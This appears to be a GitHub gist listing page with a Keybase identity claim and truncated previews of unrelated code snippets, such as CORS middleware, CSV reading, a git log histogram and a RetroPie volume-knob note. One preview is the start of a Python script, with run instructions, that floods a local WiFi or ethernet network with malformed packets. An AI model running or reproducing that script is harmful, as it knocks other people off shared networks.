I hereby claim:
- I am robertodealmeida on github.
- I am beto (https://keybase.io/beto) on keybase.
- I have a public key whose fingerprint is 1CAF EFDA 6784 AD5E 406D 697F E0BB 5E03 9707 FD33
To claim this, I am signing this object:
| class CORSMiddleware(object): | |
| """Enable serving of CORS requests (http://en.wikipedia.org/wiki/Cross-origin_resource_sharing)""" | |
| ALLOW_ORIGIN = "*" | |
| ALLOW_HEADERS = "Origin, X-Requested-With, Content-Type" | |
| def __init__(self, app): | |
| self.app = app | |
| def __call__(self, environ, start_response): |
| validos = validos[~isnan(validos.numero)] | |
| for l in lixo: | |
| validos = validos[validos.comida != l] |
I hereby claim:
To claim this, I am signing this object:
| def stream(self): | |
| with open(self.filepath, 'Ur') as fp: | |
| reader = csv.reader(fp) | |
| reader.next() # consume var names | |
| for row in reader: | |
| yield row |
| # DDoS any WiFi network or ethernet interface you're connected do, drowning out other people's legitimate traffic with spam malformed packets | |
| # brew install libdnet; pip install dnet | |
| # sudo python bringitdown.py | |
| import dnet | |
| def bring_it_down(iface="en0", spam_packet='HOST:all|GET:spam'): | |
| datalink = dnet.eth(iface) | |
| h = datalink.get().encode('hex_codec') |
| // Refrence from: https://gist.github.com/beevelop/a0f2c76e79610dca01550c9a93f83876 | |
| // Copy following scripts in the developer console of page included markdown content you want to print: | |
| (function () { | |
| var $ = document.querySelector.bind(document); | |
| $('#readme').setAttribute('style', 'position:absolute;top:0;left:0;right:0;bottom:0;z-index:100;background-color:white'); | |
| $('#readme>article').setAttribute('style', 'border: none'); | |
| $('body').innerHTML = $('#readme').outerHTML; | |
| window.print(); | |
| })(); |
On my RetroPie machine I wanted a hardware volume knob — the games I play use a handful of emulators, and there's no unified software interface for controlling the volume. The speakers I got for my cabinet are great, but don't have their own hardware volume knob. So with a bunch of googling and trial and error, I figured out what I need to pull this off: a rotary encoder and a daemon that listens for the signals it sends.
A rotary encoder is like the standard potentiometer (i.e., analog volume knob) we all know, except (a) you can keep turning it in either direction for as long as you want, and thus (b) it talks to the RPi differently than a potentiometer would.
I picked up this one from Adafruit, but there are plenty others available. This rotary encoder also lets you push the knob in and treats that like a button press, so I figured that would be useful for toggling mute on and off.
| FOO | |
| BAR | |
| TEST |
| git log --author="Linus Torvalds" --date=iso | perl -nalE 'if (/^Date:\s+[\d-]{10}\s(\d{2})/) { say $1+0 }' | sort | uniq -c|perl -MList::Util=max -nalE '$h{$F[1]} = $F[0]; }{ $m = max values %h; foreach (0..23) { $h{$_} = 0 if not exists $h{$_} } foreach (sort {$a <=> $b } keys %h) { say sprintf "%02d - %4d %s", $_, $h{$_}, "*"x ($h{$_} / $m * 50); }' | |
| - columns: | |
| - column_name: year | |
| is_dttm: true | |
| type: DATETIME | |
| - column_name: country_name | |
| type: VARCHAR(255) | |
| - column_name: region | |
| type: VARCHAR(255) | |
| - column_name: country_code | |
| type: VARCHAR(3) |